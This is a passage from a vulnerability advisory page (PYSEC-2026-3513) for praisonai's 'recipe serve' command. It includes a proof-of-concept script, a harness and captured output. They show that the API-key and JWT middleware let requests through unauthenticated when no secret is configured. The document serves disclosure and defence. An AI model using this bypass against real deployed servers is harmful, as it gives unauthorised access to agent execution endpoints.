YAML but\n # forgets to set api_key / env var.\n for env_var in (\u0027PRAISONAI_API_KEY\u0027, \u0027PRAISONAI_JWT_SECRET\u0027):\n if env_var in os.environ:\n del os.environ[env_var]\n\n from praisonai.recipe import serve as serve_mod\n\n src = inspect.getsourcefile(serve_mod)\n with open(src, \u0027rb\u0027) as f:\n raw = f.read()\n sha = hashlib.sha256(raw).hexdigest()\n\n print()\n print(f\u0027[1] serve.py path : {src}\u0027)\n print(f\u0027 sha256 : {sha}\u0027)\n\n from starlette.requests import Request\n create_auth_middleware = serve_mod.create_auth_middleware\n\n async def fake_call_next(request):\n return f\"REACHED-DOWNSTREAM (path={request.url.path})\"\n\n async def driver(auth_type: str, headers=None):\n scope = {\n \u0027type\u0027: \u0027http\u0027, \u0027method\u0027: \u0027GET\u0027, \u0027path\u0027: \u0027/runs\u0027,\n \u0027headers\u0027: headers or [], \u0027query_string\u0027: b\u0027\u0027, \u0027scheme\u0027: \u0027http\u0027,\n \u0027server\u0027: (\u0027127.0.0.1\u0027, 8000), \u0027app\u0027: None, \u0027root_path\u0027: \u0027\u0027,\n }\n request = Request(scope, receive=lambda: None)\n mw_cls = create_auth_middleware(auth_type, api_key=None, jwt_secret=None)\n if mw_cls is None:\n return \u0027middleware-import-failed\u0027\n instance = mw_cls(app=None)\n return await instance.dispatch(request, fake_call_next)\n\n import asyncio\n\n print()\n print(\"[2] auth_type=\u0027api-key\u0027, no api_key / no PRAISONAI_API_KEY env\")\n result_apikey = asyncio.run(driver(\u0027api-key\u0027))\n print(f\" middleware.dispatch -\u003e {result_apikey!r}\")\n\n print()\n print(\"[3] auth_type=\u0027jwt\u0027, no jwt_secret / no PRAISONAI_JWT_SECRET env\")\n result_jwt = asyncio.run(driver(\u0027jwt\u0027))\n print(f\" middleware.dispatch -\u003e {result_jwt!r}\")\n\n vulnerable = False\n if isinstance(result_apikey, str) and \u0027REACHED-DOWNSTREAM\u0027 in result_apikey:\n vulnerable = True\n print(\u0027 APIKeyAuthMiddleware allowed the request through without an API key.\u0027)\n if isinstance(result_jwt, str) and \u0027REACHED-DOWNSTREAM\u0027 in result_jwt:\n vulnerable = True\n print(\u0027 JWTAuthMiddleware allowed the request through without a Bearer token.\u0027)\n\n # Static check that the bypass is on the code path.\n text = raw.decode(\u0027utf-8\u0027, errors=\u0027replace\u0027)\n needle_api = \u0027# No key configured, allow request\u0027\n apikey_line = next(\n (i for i, l in enumerate(text.splitlines(), 1) if needle_api in l),\n None,\n )\n print()\n print(\u0027[4] static cross-check \u2014 bypass branch on the code path\u0027)\n print(f\" grep \u0027{needle_api}\u0027 -\u003e line {apikey_line}\")\n\n if not vulnerable:\n print(\u0027UNEXPECTED \u2014 the dispatch did not return the bypass result.\u0027)\n return 1\n\n print()\n print(\u0027VULNERABLE: praisonai 4.6.48 `recipe serve` AuthMiddleware classes\u0027)\n print(\u0027 both silently bypass auth when the operator sets auth_type\u0027)\n print(\u0027 but forgets the corresponding secret \u2014 unauthenticated access\u0027)\n print(\u0027 to recipe execution endpoints.\u0027)\n print(\u0027VERDICT: VULNERABLE\u0027)\n return 0\n\nif __name__ == \u0027__main__\u0027:\n sys.exit(main())\n```\n\n## Verification harness (executed against the cloned repo)\n\nThis drives the unmodified upstream code rather than a reproduction.\n\n```python\nimport sys, types, os, importlib.util\nBK=os.path.abspath(\"repos/PraisonAI/src/praisonai\"); sys.path.insert(0,BK)\nfor p in [\"praisonai\",\"praisonai.recipe\"]:\n m=types.ModuleType(p); m.__path__=[BK+\"/\"+p.replace(\".\",\"/\")]; sys.modules[p]=m\nspec=importlib.util.spec_from_file_location(\"praisonai.recipe.serve\", BK+\"/praisonai/recipe/serve.py\")\nserve=importlib.util.module_from_spec(spec); serve.__package__=\"praisonai.recipe\"; sys.modules[spec.name]=serve; spec.loader.exec_module(serve)\nprint(\"[*] Loaded REAL praisonai recipe/serve.py\")\nos.environ.pop(\"PRAISONAI_API_KEY\", None) # operator forgot to export it too\n\nfrom starlette.applications import Starlette\nfrom starlette.routing import Route\nfrom starlette.responses import PlainTextResponse\nfrom starlette.testclient import TestClient\ndef make_app(mw):\n app=Starlette(routes=[Route(\"/run\", lambda r: PlainTextResponse(\"AGENT EXECUTED\"), methods=[\"POST\"])])\n app.add_middleware(mw); return TestClient(app)\n\n# (A) operator set `auth: api-key` but forgot api_key + env -\u003e REAL factory returns middleware that SILENTLY bypasses\nMW_bypass = serve.create_auth_middleware(\"api-key\", api_key=None) # REAL factory\nr = make_app(MW_bypass).post(\"/run\")\nprint(f\"[+] auth=\u0027api-key\u0027, NO key configured, NO header -\u003e HTTP {r.status_code} body={r.text!r}\")\n\n# (B) control: same middleware WITH a key configured -\u003e unauthenticated request is correctly 401\nMW_enforced = serve.create_auth_middleware(\"api-key\", api_key=\"real-secret\")\nr2 = make_app(MW_enforced).post(\"/run\")\nprint(f\"[*] auth=\u0027api-key\u0027, key CONFIGURED, NO header -\u003e HTTP {r2.status_code} (correctly rejected)\")\n\nassert r.status_code==200 and \"AGENT EXECUTED\" in r.text and r2.status_code==401\nprint(\"[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\")\n```\n\n## Verified result\n\nThis PoC was executed against the live upstream code; captured output:\n\n```\n[*] Loaded REAL praisonai recipe/serve.py\n[+] auth=\u0027api-key\u0027, NO key configured, NO header -\u003e HTTP 200 body=\u0027AGENT EXECUTED\u0027\n[*] auth=\u0027api-key\u0027, key CONFIGURED, NO header -\u003e HTTP 401 (correctly rejected)\n[+] CONFIRMED against real praisonai repo: APIKeyAuthMiddleware silently bypasses auth when no key configured -\u003e agent route reachable unauthenticated\n```\n\n## Credit\n\nKai Aizen \u2014 SnailSploit (@SnailSploit). Adversarial \u0026 Offensive Security Research.",
"id": "PYSEC-2026-3513",
"modified": "2026-07-23T14:32:31.131870Z",
"published": "2026-07-23T11:41:41.568824Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j4hj-7hfh-g2f4"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
},
{
"type": "PACKAGE",
"url": "https://pypi.org/project/praisonai"
},
{
"type": "ADVISORY",
"url": "https://github.com/advisories/GHSA-j4hj-7hfh-g2f4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-57127"
}
],
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "praisonai: recipe serve auth middleware silently disables itself when no secret is set"
}
Loading…
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loading…
Loading…